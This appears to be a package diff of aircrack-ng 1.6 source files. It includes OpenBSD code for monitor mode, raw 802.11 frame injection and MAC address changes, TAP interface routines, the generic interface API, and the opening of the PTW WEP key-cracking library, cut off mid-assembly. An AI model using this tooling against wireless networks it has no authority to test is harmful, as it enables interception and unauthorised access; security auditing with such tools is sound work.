+	while (po->po_totlen == 0)
+	{
+		po->po_totlen = read(po->po_fd, po->po_buf, sizeof(po->po_buf));
+		if (po->po_totlen == -1)
+		{
+			po->po_totlen = 0;
+			return -1;
+		}
+		po->po_next = po->po_buf;
+	}
+
+	/* read 802.11 packet */
+	wh = get_80211(po, &plen, ri);
+	if (plen > len) plen = len;
+	assert(plen > 0);
+	memcpy(h80211, wh, plen);
+
+	if (dlt)
+	{
+		*dlt = LINKTYPE_IEEE802_11;
+	}
+
+	if (ts)
+	{
+		clock_gettime(CLOCK_REALTIME, ts);
+	}
+
+	if (ri && !ri->ri_channel) ri->ri_channel = wi_get_channel(wi);
+
+	return plen;
+}
+
+static int obsd_write(struct wif * wi,
+					  struct timespec * ts,
+					  int dlt,
+					  unsigned char * h80211,
+					  int len,
+					  struct tx_info * ti)
+{
+	struct priv_obsd * po = wi_priv(wi);
+	int rc;
+
+	(void) ts;
+	(void) dlt;
+
+	/* XXX make use of ti */
+	if (ti)
+	{
+	}
+
+	rc = write(po->po_fd, h80211, len);
+	if (rc == -1) return rc;
+
+	return 0;
+}
+
+static void do_free(struct wif * wi)
+{
+	assert(wi->wi_priv);
+	free(wi->wi_priv);
+	wi->wi_priv = 0;
+	free(wi);
+}
+
+static void obsd_close(struct wif * wi)
+{
+	struct priv_obsd * po = wi_priv(wi);
+
+	close(po->po_fd);
+	close(po->po_s);
+	do_free(wi);
+}
+
+static int do_obsd_open(struct wif * wi, char * iface)
+{
+	int i;
+	char buf[64];
+	int fd = -1;
+	struct ifreq ifr;
+	unsigned int dlt = DLT_IEEE802_11_RADIO;
+	int s;
+	unsigned int flags;
+	struct ifmediareq ifmr;
+	uint64_t * mwords;
+	struct priv_obsd * po = wi_priv(wi);
+	unsigned int size = sizeof(po->po_buf);
+
+	/* basic sanity check */
+	if (strlen(iface) >= sizeof(ifr.ifr_name)) return -1;
+
+	/* open wifi */
+	s = socket(PF_INET, SOCK_DGRAM, 0);
+	if (s == -1) return -1;
+	po->po_s = s;
+
+	/* set iface up and promisc */
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+	if (ioctl(s, SIOCGIFFLAGS, &ifr) == -1) goto close_sock;
+
+	flags = ifr.ifr_flags;
+	flags |= IFF_UP | IFF_PROMISC;
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+	ifr.ifr_flags = flags & 0xffff;
+	if (ioctl(s, SIOCSIFFLAGS, &ifr) == -1) goto close_sock;
+
+	/* monitor mode */
+	memset(&ifmr, 0, sizeof(ifmr));
+	strncpy(ifmr.ifm_name, iface, IFNAMSIZ);
+	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1) goto close_sock;
+
+	assert(ifmr.ifm_count != 0);
+
+	mwords = (uint64_t *) malloc(ifmr.ifm_count * sizeof(uint64_t));
+	if (!mwords) goto close_sock;
+	ifmr.ifm_ulist = mwords;
+	if (ioctl(s, SIOCGIFMEDIA, &ifmr) == -1)
+	{
+		free(mwords);
+		goto close_sock;
+	}
+	free(mwords);
+
+	memset(&ifr, 0, sizeof(ifr));
+	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+	ifr.ifr_media = ifmr.ifm_current | IFM_IEEE80211_MONITOR;
+	if (ioctl(s, SIOCSIFMEDIA, &ifr) == -1) goto close_sock;
+
+	/* setup ifreq for chan that may be used in future */
+	strncpy(po->po_ireq.i_name, iface, IFNAMSIZ);
+
+	/* same for ifreq [mac addr] */
+	strncpy(po->po_ifr.ifr_name, iface, IFNAMSIZ);
+
+	/* open bpf */
+	for (i = 0; i < 256; i++)
+	{
+		snprintf(buf, sizeof(buf), "/dev/bpf%d", i);
+
+		fd = open(buf, O_RDWR);
+		if (fd < 0)
+		{
+			if (errno != EBUSY) return -1;
+			continue;
+		}
+		else
+			break;
+	}
+
+	if (fd < 0) goto close_sock;
+
+	if (ioctl(fd, BIOCSBLEN, &size) < 0) goto close_bpf;
+
+	strncpy(ifr.ifr_name, iface, IFNAMSIZ);
+
+	if (ioctl(fd, BIOCSETIF, &ifr) < 0) goto close_bpf;
+
+	if (ioctl(fd, BIOCSDLT, &dlt) < 0) goto close_bpf;
+
+	if (ioctl(fd, BIOCPROMISC, NULL) < 0) goto close_bpf;
+
+	dlt = 1;
+	if (ioctl(fd, BIOCIMMEDIATE, &dlt) == -1) goto close_bpf;
+
+	return fd;
+
+close_sock:
+	close(s);
+	return -1;
+close_bpf:
+	close(fd);
+	goto close_sock;
+}
+
+static int obsd_fd(struct wif * wi)
+{
+	struct priv_obsd * po = wi_priv(wi);
+
+	return po->po_fd;
+}
+
+static int obsd_get_mac(struct wif * wi, unsigned char * mac)
+{
+	struct ifaddrs *ifa, *p;
+	char * name = wi_get_ifname(wi);
+	int rc = -1;
+	struct sockaddr_dl * sdp;
+
+	if (getifaddrs(&ifa) == -1) return -1;
+
+	p = ifa;
+	while (p)
+	{
+		if (p->ifa_addr->sa_family == AF_LINK && strcmp(name, p->ifa_name) == 0)
+		{
+
+			sdp = (struct sockaddr_dl *) p->ifa_addr;
+			memcpy(mac, sdp->sdl_data + sdp->sdl_nlen, 6);
+			rc = 0;
+			break;
+		}
+
+		p = p->ifa_next;
+	}
+	freeifaddrs(ifa);
+
+	return rc;
+}
+
+static int obsd_get_monitor(struct wif * wi)
+{
+	if (wi)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 0;
+}
+
+static int obsd_get_rate(struct wif * wi)
+{
+	if (wi)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 1000000;
+}
+
+static int obsd_set_rate(struct wif * wi, int rate)
+{
+	if (wi || rate)
+	{
+	} /* XXX unused */
+
+	/* XXX */
+	return 0;
+}
+
+static int obsd_set_mac(struct wif * wi, unsigned char * mac)
+{
+	struct priv_obsd * po = wi_priv(wi);
+	struct ifreq * ifr = &po->po_ifr;
+
+	ifr->ifr_addr.sa_family = AF_LINK;
+	ifr->ifr_addr.sa_len = 6;
+	memcpy(ifr->ifr_addr.sa_data, mac, 6);
+
+	return ioctl(po->po_s, SIOCSIFLLADDR, ifr);
+}
+
+static struct wif * obsd_open(char * iface)
+{
+	struct wif * wi;
+	struct priv_obsd * po;
+	int fd;
+
+	/* setup wi struct */
+	wi = wi_alloc(sizeof(*po));
+	if (!wi) return NULL;
+	wi->wi_read = obsd_read;
+	wi->wi_write = obsd_write;
+	wi->wi_set_channel = obsd_set_channel;
+	wi->wi_get_channel = obsd_get_channel;
+	wi->wi_close = obsd_close;
+	wi->wi_fd = obsd_fd;
+	wi->wi_get_mac = obsd_get_mac;
+	wi->wi_set_mac = obsd_set_mac;
+	wi->wi_get_rate = obsd_get_rate;
+	wi->wi_set_rate = obsd_set_rate;
+	wi->wi_get_monitor = obsd_get_monitor;
+
+	/* setup iface */
+	fd = do_obsd_open(wi, iface);
+	if (fd == -1)
+	{
+		do_free(wi);
+		return NULL;
+	}
+
+	/* setup private state */
+	po = wi_priv(wi);
+	po->po_fd = fd;
+
+	return wi;
+}
+
+struct wif * wi_open_osdep(char * iface) { return obsd_open(iface); }
+
+EXPORT int get_battery_state(void)
+{
+#if defined(__FreeBSD__)
+	int value;
+	size_t len;
+
+	len = 1;
+	value = 0;
+	sysctlbyname("hw.acpi.acline", &value, &len, NULL, 0);
+	if (value == 0)
+	{
+		sysctlbyname("hw.acpi.battery.time", &value, &len, NULL, 0);
+		value = value * 60;
+	}
+	else
+	{
+		value = 0;
+	}
+
+	return (value);
+#elif defined(_BSD_SOURCE)
+	struct apm_power_info api;
+	int apmfd;
+	if ((apmfd = open("/dev/apm", O_RDONLY)) < 0) return 0;
+	if (ioctl(apmfd, APM_IOC_GETPOWER, &api) < 0)
+	{
+		close(apmfd);
+		return 0;
+	}
+	close(apmfd);
+	if (api.battery_state == APM_BATT_UNKNOWN
+		|| api.battery_state == APM_BATTERY_ABSENT
+		|| api.battery_state == APM_BATT_CHARGING
+		|| api.ac_state == APM_AC_ON)
+	{
+		return 0;
+	}
+	return ((int) (api.minutes_left)) * 60;
+#else
+	return 0;
+#endif
+}

aircrack-ng-1.6.tar.gz/lib/osdep/openbsd_tap.c Added

@@ -0,0 +1,221 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API for OpenBSD. TAP routines
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <sys/types.h>
+#include <sys/stat.h>
+#include <sys/ioctl.h>
+#include <sys/time.h>
+#include <sys/socket.h>
+#include <net/if.h>
+#include <fcntl.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <stdio.h>
+#include <string.h>
+
+#include "osdep.h"
+
+struct tip_obsd
+{
+	int to_fd;
+	int to_ioctls;
+	struct ifreq to_ifr;
+	char to_name[MAX_IFACE_NAME];
+	int to_destroy;
+};
+
+static int ti_do_open_obsd(struct tif * ti, char * name)
+{
+	int fd;
+	char * iface = "/dev/tap";
+	struct stat st;
+	struct tip_obsd * priv = ti_priv(ti);
+	int s;
+	unsigned int flags;
+	struct ifreq * ifr;
+
+	/* open tap */
+	if (name)
+		iface = name;
+	else
+		priv->to_destroy = 1; /* we create, we destroy */
+
+	fd = open(iface, O_RDWR);
+	if (fd == -1) return -1;
+
+	/* get name */
+	if (fstat(fd, &st) == -1) goto err;
+	snprintf(priv->to_name,
+			 sizeof(priv->to_name) - 1,
+			 "%s",
+			 devname(st.st_rdev, S_IFCHR));
+
+	/* bring iface up */
+	s = socket(PF_INET, SOCK_DGRAM, 0);
+	if (s == -1) goto err;
+	priv->to_ioctls = s;
+
+	/* get flags */
+	ifr = &priv->to_ifr;
+	memset(ifr, 0, sizeof(*ifr));
+	snprintf(ifr->ifr_name, sizeof(ifr->ifr_name) - 1, "%s", priv->to_name);
+	if (ioctl(s, SIOCGIFFLAGS, ifr) == -1) goto err2;
+	flags = ifr->ifr_flags;
+
+	/* set flags */
+	flags |= IFF_UP;
+	ifr->ifr_flags = flags & 0xffff;
+	if (ioctl(s, SIOCSIFFLAGS, ifr) == -1) goto err2;
+
+	return fd;
+err:
+	/* XXX destroy */
+	close(fd);
+	return -1;
+err2:
+	close(s);
+	goto err;
+}
+
+static void ti_do_free(struct tif * ti)
+{
+	struct tip_obsd * priv = ti_priv(ti);
+
+	free(priv);
+	free(ti);
+}
+
+static void ti_destroy(struct tip_obsd * priv)
+{
+	ioctl(priv->to_ioctls, SIOCIFDESTROY, &priv->to_ifr);
+}
+
+static void ti_close_obsd(struct tif * ti)
+{
+	struct tip_obsd * priv = ti_priv(ti);
+
+	if (priv->to_destroy) ti_destroy(priv);
+
+	close(priv->to_fd);
+	close(priv->to_ioctls);
+	ti_do_free(ti);
+}
+
+static char * ti_name_obsd(struct tif * ti)
+{
+	struct tip_obsd * priv = ti_priv(ti);
+
+	return priv->to_name;
+}
+
+static int ti_set_mtu_obsd(struct tif * ti, int mtu)
+{
+	struct tip_obsd * priv = ti_priv(ti);
+
+	priv->to_ifr.ifr_mtu = mtu;
+
+	return ioctl(priv->to_ioctls, SIOCSIFMTU, &priv->to_ifr);
+}
+
+static int ti_set_mac_obsd(struct tif * ti, unsigned char * mac)
+{
+	struct tip_obsd * priv = ti_priv(ti);
+	struct ifreq * ifr = &priv->to_ifr;
+
+	ifr->ifr_addr.sa_family = AF_LINK;
+	ifr->ifr_addr.sa_len = 6;
+	memcpy(ifr->ifr_addr.sa_data, mac, 6);
+
+	return ioctl(priv->to_ioctls, SIOCSIFLLADDR, ifr);
+}
+
+static int ti_set_ip_obsd(struct tif * ti, struct in_addr * ip)
+{
+	struct tip_obsd * priv = ti_priv(ti);
+	struct ifaliasreq ifra;
+	struct sockaddr_in * s_in;
+
+	/* assume same size */
+	memset(&ifra, 0, sizeof(ifra));
+	strncpy(ifra.ifra_name, priv->to_ifr.ifr_name, IFNAMSIZ);
+
+	s_in = (struct sockaddr_in *) &ifra.ifra_addr;
+	s_in->sin_family = PF_INET;
+	s_in->sin_addr = *ip;
+	s_in->sin_len = sizeof(*s_in);
+
+	return ioctl(priv->to_ioctls, SIOCAIFADDR, &ifra);
+}
+
+static int ti_fd_obsd(struct tif * ti)
+{
+	struct tip_obsd * priv = ti_priv(ti);
+
+	return priv->to_fd;
+}
+
+static int ti_read_obsd(struct tif * ti, void * buf, int len)
+{
+	return read(ti_fd(ti), buf, len);
+}
+
+static int ti_write_obsd(struct tif * ti, void * buf, int len)
+{
+	return write(ti_fd(ti), buf, len);
+}
+
+static struct tif * ti_open_obsd(char * iface)
+{
+	struct tif * ti;
+	struct tip_obsd * priv;
+	int fd;
+
+	/* setup ti struct */
+	ti = ti_alloc(sizeof(*priv));
+	if (!ti) return NULL;
+	ti->ti_name = ti_name_obsd;
+	ti->ti_set_mtu = ti_set_mtu_obsd;
+	ti->ti_close = ti_close_obsd;
+	ti->ti_fd = ti_fd_obsd;
+	ti->ti_read = ti_read_obsd;
+	ti->ti_write = ti_write_obsd;
+	ti->ti_set_mac = ti_set_mac_obsd;
+	ti->ti_set_ip = ti_set_ip_obsd;
+
+	/* setup iface */
+	fd = ti_do_open_obsd(ti, iface);
+	if (fd == -1)
+	{
+		ti_do_free(ti);
+		return NULL;
+	}
+
+	/* setup private state */
+	priv = ti_priv(ti);
+	priv->to_fd = fd;
+
+	return ti;
+}
+
+EXPORT struct tif * ti_open(char * iface) { return ti_open_obsd(iface); }

aircrack-ng-1.6.tar.gz/lib/osdep/osdep.c Added

@@ -0,0 +1,264 @@
+/*
+  *  Copyright (c) 2007, 2008, Andrea Bittau <a.bittau@cs.ucl.ac.uk>
+  *
+  *  OS dependent API.
+  *
+  *  This program is free software; you can redistribute it and/or modify
+  *  it under the terms of the GNU General Public License as published by
+  *  the Free Software Foundation; either version 2 of the License, or
+  *  (at your option) any later version.
+  *
+  *  This program is distributed in the hope that it will be useful,
+  *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+  *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+  *  GNU General Public License for more details.
+  *
+  *  You should have received a copy of the GNU General Public License
+  *  along with this program; if not, write to the Free Software
+  *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+  */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdlib.h>
+#include <assert.h>
+#include <string.h>
+
+#include "osdep.h"
+#include "network.h"
+
+extern struct wif * file_open(char * iface);
+
+EXPORT int wi_read(struct wif * wi,
+				   struct timespec * ts,
+				   int * dlt,
+				   unsigned char * h80211,
+				   int len,
+				   struct rx_info * ri)
+{
+	assert(wi->wi_read);
+	return wi->wi_read(wi, ts, dlt, h80211, len, ri);
+}
+
+EXPORT int wi_write(struct wif * wi,
+					struct timespec * ts,
+					int dlt,
+					unsigned char * h80211,
+					int len,
+					struct tx_info * ti)
+{
+	assert(wi->wi_write);
+	return wi->wi_write(wi, ts, dlt, h80211, len, ti);
+}
+
+EXPORT int wi_set_ht_channel(struct wif * wi, int chan, unsigned int htval)
+{
+	assert(wi->wi_set_ht_channel);
+	return wi->wi_set_ht_channel(wi, chan, htval);
+}
+
+EXPORT int wi_set_channel(struct wif * wi, int chan)
+{
+	assert(wi->wi_set_channel);
+	return wi->wi_set_channel(wi, chan);
+}
+
+EXPORT int wi_get_channel(struct wif * wi)
+{
+	assert(wi->wi_get_channel);
+	return wi->wi_get_channel(wi);
+}
+
+EXPORT int wi_set_freq(struct wif * wi, int freq)
+{
+	assert(wi->wi_set_freq);
+	return wi->wi_set_freq(wi, freq);
+}
+
+EXPORT int wi_get_freq(struct wif * wi)
+{
+	assert(wi->wi_get_freq);
+	return wi->wi_get_freq(wi);
+}
+
+EXPORT int wi_get_monitor(struct wif * wi)
+{
+	assert(wi->wi_get_monitor);
+	return wi->wi_get_monitor(wi);
+}
+
+EXPORT char * wi_get_ifname(struct wif * wi) { return wi->wi_interface; }
+
+EXPORT void wi_close(struct wif * wi)
+{
+	assert(wi->wi_close);
+	wi->wi_close(wi);
+}
+
+EXPORT int wi_fd(struct wif * wi)
+{
+	assert(wi->wi_fd);
+	return wi->wi_fd(wi);
+}
+
+struct wif * wi_alloc(int sz)
+{
+	struct wif * wi;
+	void * priv;
+
+	/* Allocate wif & private state */
+	wi = malloc(sizeof(*wi));
+	if (!wi) return NULL;
+	memset(wi, 0, sizeof(*wi));
+
+	priv = malloc(sz);
+	if (!priv)
+	{
+		free(wi);
+		return NULL;
+	}
+	memset(priv, 0, sz);
+	wi->wi_priv = priv;
+
+	return wi;
+}
+
+void * wi_priv(struct wif * wi) { return wi->wi_priv; }
+
+EXPORT int wi_get_mac(struct wif * wi, unsigned char * mac)
+{
+	assert(wi->wi_get_mac);
+	return wi->wi_get_mac(wi, mac);
+}
+
+EXPORT int wi_set_mac(struct wif * wi, unsigned char * mac)
+{
+	assert(wi->wi_set_mac);
+	return wi->wi_set_mac(wi, mac);
+}
+
+EXPORT int wi_get_rate(struct wif * wi)
+{
+	assert(wi->wi_get_rate);
+	return wi->wi_get_rate(wi);
+}
+
+EXPORT int wi_set_rate(struct wif * wi, int rate)
+{
+	assert(wi->wi_set_rate);
+	return wi->wi_set_rate(wi, rate);
+}
+
+EXPORT int wi_get_mtu(struct wif * wi)
+{
+	assert(wi->wi_get_mtu);
+	return wi->wi_get_mtu(wi);
+}
+
+EXPORT int wi_set_mtu(struct wif * wi, int mtu)
+{
+	assert(wi->wi_set_mtu);
+	return wi->wi_set_mtu(wi, mtu);
+}
+
+EXPORT struct wif * wi_open(char * iface)
+{
+	struct wif * wi;
+
+	if (iface == NULL || iface[0] == 0)
+	{
+		return NULL;
+	}
+
+	wi = file_open(iface);
+	if (wi == (struct wif *) -1) return NULL;
+	if (!wi) wi = net_open(iface);
+	if (!wi) wi = wi_open_osdep(iface);
+	if (!wi) return NULL;
+
+	strncpy(wi->wi_interface, iface, sizeof(wi->wi_interface) - 1);
+	wi->wi_interface[sizeof(wi->wi_interface) - 1] = 0;
+
+	return wi;
+}
+
+/* tap stuff */
+EXPORT char * ti_name(struct tif * ti)
+{
+	assert(ti->ti_name);
+	return ti->ti_name(ti);
+}
+
+EXPORT int ti_set_mtu(struct tif * ti, int mtu)
+{
+	assert(ti->ti_set_mtu);
+	return ti->ti_set_mtu(ti, mtu);
+}
+
+EXPORT int ti_get_mtu(struct tif * ti)
+{
+	assert(ti->ti_get_mtu);
+	return ti->ti_get_mtu(ti);
+}
+
+EXPORT void ti_close(struct tif * ti)
+{
+	assert(ti->ti_close);
+	ti->ti_close(ti);
+}
+
+EXPORT int ti_fd(struct tif * ti)
+{
+	assert(ti->ti_fd);
+	return ti->ti_fd(ti);
+}
+
+EXPORT int ti_read(struct tif * ti, void * buf, int len)
+{
+	assert(ti->ti_read);
+	return ti->ti_read(ti, buf, len);
+}
+
+EXPORT int ti_write(struct tif * ti, void * buf, int len)
+{
+	assert(ti->ti_write);
+	return ti->ti_write(ti, buf, len);
+}
+
+EXPORT int ti_set_mac(struct tif * ti, unsigned char * mac)
+{
+	assert(ti->ti_set_mac);
+	return ti->ti_set_mac(ti, mac);
+}
+
+EXPORT int ti_set_ip(struct tif * ti, struct in_addr * ip)
+{
+	assert(ti->ti_set_ip);
+	return ti->ti_set_ip(ti, ip);
+}
+
+struct tif * ti_alloc(int sz)
+{
+	struct tif * ti;
+	void * priv;
+
+	/* Allocate tif & private state */
+	ti = malloc(sizeof(*ti));
+	if (!ti) return NULL;
+	memset(ti, 0, sizeof(*ti));
+
+	priv = malloc(sz);
+	if (!priv)
+	{
+		free(ti);
+		return NULL;
+	}
+	memset(priv, 0, sz);
+	ti->ti_priv = priv;
+
+	return ti;
+}
+
+void * ti_priv(struct tif * ti) { return ti->ti_priv; }

aircrack-ng-1.6.tar.gz/lib/osdep/tap-win32 Added

aircrack-ng-1.6.tar.gz/lib/osdep/tap-win32/common.h Changed

aircrack-ng-1.6.tar.gz/lib/ptw Added

aircrack-ng-1.6.tar.gz/lib/ptw/aircrack-ptw-lib.c Added

@@ -0,0 +1,1041 @@
+/*
+ *  Copyright (c) 2007-2009 Erik Tews, Andrei Pychkine and Ralf-Philipp
+ * Weinmann.
+ *                2013 Ramiro Polla
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <pthread.h>
+#ifdef HAVE_SYS_TYPES_H
+#include <sys/types.h>
+#endif
+#if defined(__sun__)
+#include <alloca.h>
+#endif
+#include <limits.h>
+#include <math.h>
+#include <float.h>
+
+#include "aircrack-ng/support/pcap_local.h"
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/ptw/aircrack-ptw-lib.h"
+#include "aircrack-ng/aircrack-ng.h"
+
+#define n PTW_n
+#define CONTROLSESSIONS PTW_CONTROLSESSIONS
+#define KSBYTES PTW_KSBYTES
+#define IVBYTES PTW_IVBYTES
+#define TESTBYTES 6
+
+static struct options opt;
+
+// Internal state of rc4
+typedef struct
+{
+	uint32_t s[n];
+	uint8_t i;
+	uint8_t j;
+} rc4state;
+
+// Helper structures for sorting
+typedef struct
+{
+	int keybyte;
+	uint8_t value;
+	int distance;
+} sorthelper;
+
+typedef struct
+{
+	int keybyte;
+	double difference;
+} doublesorthelper;
+
+// The rc4 initial state, the idendity permutation
+static const uint32_t rc4initial[] = {
+	0,   1,   2,   3,   4,   5,   6,   7,   8,   9,   10,  11,  12,  13,  14,
+	15,  16,  17,  18,  19,  20,  21,  22,  23,  24,  25,  26,  27,  28,  29,
+	30,  31,  32,  33,  34,  35,  36,  37,  38,  39,  40,  41,  42,  43,  44,
+	45,  46,  47,  48,  49,  50,  51,  52,  53,  54,  55,  56,  57,  58,  59,
+	60,  61,  62,  63,  64,  65,  66,  67,  68,  69,  70,  71,  72,  73,  74,
+	75,  76,  77,  78,  79,  80,  81,  82,  83,  84,  85,  86,  87,  88,  89,
+	90,  91,  92,  93,  94,  95,  96,  97,  98,  99,  100, 101, 102, 103, 104,
+	105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119,
+	120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134,
+	135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149,
+	150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164,
+	165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179,
+	180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194,
+	195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209,
+	210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224,
+	225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239,
+	240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254,
+	255};
+
+// Values for p_correct_i
+static const double eval[] = {0.00534392069257663,
+							  0.00531787585068872,
+							  0.00531345769225911,
+							  0.00528812219217898,
+							  0.00525997750378221,
+							  0.00522647312237696,
+							  0.00519132541143668,
+							  0.0051477139367225,
+							  0.00510438884847959,
+							  0.00505484662057323,
+							  0.00500502783556246,
+							  0.00495094196451801,
+							  0.0048983441590402};
+
+static int tried, max_tries;
+static int depth[KEYHSBYTES];
+static PTW_tableentry keytable[KEYHSBYTES][n];
+
+// Check if optmizied RC4 for AMD64 has to be compiled
+#if defined(__amd64) && defined(__SSE2__)                                      \
+	&& (!defined(__clang__)                                                    \
+		|| (defined(__clang__)                                                 \
+			&& (__clang_major__ >= 4                                           \
+				|| (__clang_major__ == 3 && __clang_minor__ >= 9))))
+#define USE_AMD64_RC4_OPTIMIZED
+#endif
+
+// For sorting
+static int compare(const void * ina, const void * inb)
+{
+	REQUIRE(ina != NULL);
+	REQUIRE(inb != NULL);
+
+	PTW_tableentry * a = (PTW_tableentry *) ina;
+	PTW_tableentry * b = (PTW_tableentry *) inb;
+	return b->votes - a->votes;
+}
+
+// For sorting
+static int comparedoublesorthelper(const void * ina, const void * inb)
+{
+	REQUIRE(ina != NULL);
+	REQUIRE(inb != NULL);
+
+	doublesorthelper * a = (doublesorthelper *) ina;
+	doublesorthelper * b = (doublesorthelper *) inb;
+	if (a->difference > b->difference)
+	{
+		return 1;
+	}
+	else if (fabs(a->difference - b->difference) < FLT_EPSILON)
+	{
+		return 0;
+	}
+	else
+	{
+		return -1;
+	}
+}
+
+#ifdef USE_AMD64_RC4_OPTIMIZED
+static const uint32_t __attribute__((used)) __attribute__((aligned(16)))
+x0123[4]
+	= {0, 1, 2, 3};
+static const uint32_t __attribute__((used)) __attribute__((aligned(16)))
+x4444[4]
+	= {4, 4, 4, 4};
+static int
+rc4test_amd64_sse2(uint8_t * key, int keylen, uint8_t * iv, uint8_t * keystream)
+{
+	int idx, i, j;
+	int scratch1, scratch2;
+
+	__asm__ volatile(
+#define state "%%rsp"
+#define keybuf "0x400(%%rsp)"
+#define keystream_ "0x428(%%rsp)"
+		// setup stack
+		"movq  %%rsp, %q0             \n\t"
+		"subq $0x430, %%rsp           \n\t"
+		"andq   $-16, %%rsp           \n\t"
+		"movq    %q0, -8(%%rsp)       \n\t"
+
+		// save keystream variable
+		"movq %q6, " keystream_ "       \n\t"
+
+		// keylen += IVBYTES
+		"addl    $3, %k4              \n\t"
+
+		// memcpy(keybuf, iv, IVBYTES);
+		"movl  (%q5), %k1             \n\t"
+		"movl   %k1 , " keybuf "        \n\t"
+		// memcpy(&keybuf[IVBYTES], key, keylen);
+		"movdqa   (%q3), %%xmm0       \n\t"
+		"cmpl    $16, %k4             \n\t"
+		"movdqu %%xmm0, 3+" keybuf "    \n\t"
+		"jng     .Lsmall_key1         \n\t"
+		"movdqa 16(%q3), %%xmm1       \n\t"
+		"movdqu %%xmm1,19+" keybuf "    \n\t"
+		".Lsmall_key1:                \n\t"
+
+		// key = keybuf
+		"lea  " keybuf ", %q3           \n\t"
+		// load xmm registers
+		"movdqa %q9,  %%xmm0          \n\t"
+		"movdqa %q10, %%xmm1          \n\t"
+		// clear some registers
+		"xorq      %q0, %q0           \n\t" // idx
+		"xorq      %q1, %q1           \n\t" // i
+		"xorq      %q2, %q2           \n\t" // j
+
+		// build identity array
+		".p2align 4                   \n\t"
+		".Lidentity_loop:             \n\t"
+		"movdqa %%xmm0, (" state ",%q1,4)\n\t"
+		"addb   $4, %b1               \n\t"
+		"paddd  %%xmm1, %%xmm0        \n\t"
+		"jnc  .Lidentity_loop         \n\t"
+
+		// load state into register
+		"movq " state ", %q1            \n\t"
+
+		// %q4 = and mask for idx
+		"movq %q4, %q8                \n\t"
+		"cmpq $16, %q8                \n\t"
+		"movq $15, %q4                \n\t"
+		"je    .Lsmall_key2           \n\t"
+		"shrq  $1, %q4                \n\t"
+		".Lsmall_key2:                \n\t"
+
+		// init array with key
+		".p2align 4                   \n\t"
+		".init_loop:                  \n\t"
+		"movl    %k0, %k8             \n\t" /* scratch2        = idx */
+		"movl   (%q1), %k5            \n\t" /* s1              = state[i] */
+		"leal  1(%q0,1), %k0          \n\t" /* idx++ */
+		"movzbl (%q3,%q8,1), %k6      \n\t" /* key_n           = key[scratch2]
+											   */
+		"leal   (%q5,%q6,1), %k8      \n\t" /* scratch2        = s1 + key_n */
+		"addl    %k8, %k2             \n\t" /* j              += scratch2 */
+		"andl    %k4, %k0             \n\t" /* idx            &= mask */
+		"movzbl  %b2, %k8             \n\t" /* scratch2        = j */
+		"movl (" state
+		",%q8,4), %k7    \n\t" /* s2              = state[scratch2] */
+		"movl    %k7, (%q1)           \n\t" /* state[i]        = s2 */
+		"addq     $4, %q1             \n\t" /* i++ */
+		"movl    %k5, (" state ",%q8,4) \n\t" /* state[scratch2] = s1 */
+		"cmpq    %q1, %q3             \n\t" /* state          == &state[0x100]
+												 */
+		"jne .init_loop               \n\t"
+
+		// restore keystream variable
